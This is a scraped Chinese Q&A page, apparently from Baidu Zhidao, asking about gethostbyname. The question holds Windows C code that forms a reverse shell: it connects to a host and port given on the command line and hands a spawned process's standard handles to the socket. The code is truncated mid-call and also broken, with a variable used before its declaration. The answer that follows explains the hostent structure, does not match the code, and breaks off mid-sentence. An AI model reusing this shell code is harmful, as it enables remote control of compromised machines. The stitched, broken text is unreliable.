gethostbyname 用法 ,高手一定要帮忙看看

来源:百度知道 编辑:UC知道 时间:2024/06/25 18:43:39
#include<stdio.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32")
int main(int argc, char **argv)
{

WSADATA wsaData;

SOCKET hSocket;

STARTUPINFO si;

PROCESS_INFORMATION pi;

memset(&adik_sin,0,sizeof(adik_sin));

memset(&si,0,sizeof(si));

WSAStartup(MAKEWORD(2,0),&wsaData);

hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);

struct sockaddr_in adik_sin;

adik_sin.sin_family=AF_INET;

adik_sin.sin_port=htons(atoi(argv[2]));

adik_sin.sin_addr.s_addr=inet_addr(argv[1]);

if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)))

return -1;

si.cb=sizeof(si);

si.dwFlags=STARTF_USESTDHANDLES;

si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;

CreateProcess(NULL,"c

使用这个东西,首先要包含2个头文件:
#include <netdb.h>
#include <sys/socket.h>
struct hostent *gethostbyname(const char *name);
这个函数的传入值是域名或者主机名,例如"www.google.com","wpc"等等。
传出值,是一个hostent的结构(如下)。如果函数调用失败,将返回NULL。
struct hostent {
char *h_name;
char **h_aliases;
int h_addrtype;
int h_length;
char **h_addr_list;
};
解释一下这个结构, 其中:
char *h_name 表示的是主机的规范名。例如www.google.com的规范名其实是www.l.google.com
char **h_aliases 表示的是主机的别名。www.google.com就是google他自己的别名。有的时候,有的主机可能有好几个别名,这些,其实都是为了易于用户记忆而为自己的网站多取的名字。
int h_addrtype 表示的是主机ip地址的类型,到底是ipv4(AF_INET),还是ipv6(AF_INET6)
int h_